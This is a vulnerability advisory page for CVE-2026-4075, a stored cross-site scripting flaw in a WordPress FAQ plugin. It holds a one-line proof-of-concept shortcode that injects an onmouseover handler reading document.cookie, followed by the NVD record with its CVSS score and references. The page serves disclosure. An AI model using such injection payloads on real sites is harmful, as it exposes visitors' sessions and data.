CVE-2026-4075

// PoC for CVE-2026-4075: Stored XSS in BWL Advanced FAQ Manager Lite // Usage: Log in as a Contributor and add the following shortcode to a post or page. // The payload injects an 'onmouseover' event handler into the 'highlight_bg' attribute. [baf_sbox sbox_id="1" placeholder="Search FAQs" highlight_bg="blue\" onmouseover=\"alert(document.cookie)\" " ]

{"cve": {"id": "CVE-2026-4075", "sourceIdentifier": "[email protected]", "published": "2026-03-26T04:17:12.120", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BWL Advanced FAQ Manager Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'baf_sbox' shortcode in all versions up to and including 1.1.1. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'sbox_id', 'sbox_class', 'placeholder', 'highlight_color', 'highlight_bg', and 'cont_ext_class'. These attributes are directly interpolated into HTML element attributes without any esc_attr() escaping in the baf_sbox() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin BWL Advanced FAQ Manager Lite para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'baf_sbox' en todas las versiones hasta la 1.1.1 inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en los atributos de shortcode proporcionados por el usuario, como 'sbox_id', 'sbox_class', 'placeholder', 'highlight_color', 'highlight_bg' y 'cont_ext_class'. Estos atributos se interpolan directamente en atributos de elementos HTML sin ningún escape esc_attr() en la función baf_sbox(). Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bwl-advanced-faq-manager-lite/tags/1.1.1/includes/shortcodes/baf_faq_list.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bwl-advanced-faq-manager-lite/tags/1.1.1/includes/shortcodes/baf_faq_list.php#L73", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bwl-advanced-faq-manager-lite/tags/1.1.1/includes/shortcodes/baf_faq_list.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bwl-advanced-faq-manager-lite/trunk/includes/shortcodes/baf_faq_list.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bwl-advanced-faq-manager-lite/trunk/includes/shortcodes/baf_faq_list.php#L73", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bwl-advanced-faq-manager-lite/trunk/includes/shortcodes/baf_faq_list.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3487104%40bwl-advanced-faq-manager-lite&new=3487104%40bwl-advanced-faq-manager-lite&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ef01f05a-ed5a-4278-acab-029c58242cf2?source=cve", "source": "[email protected]"}]}}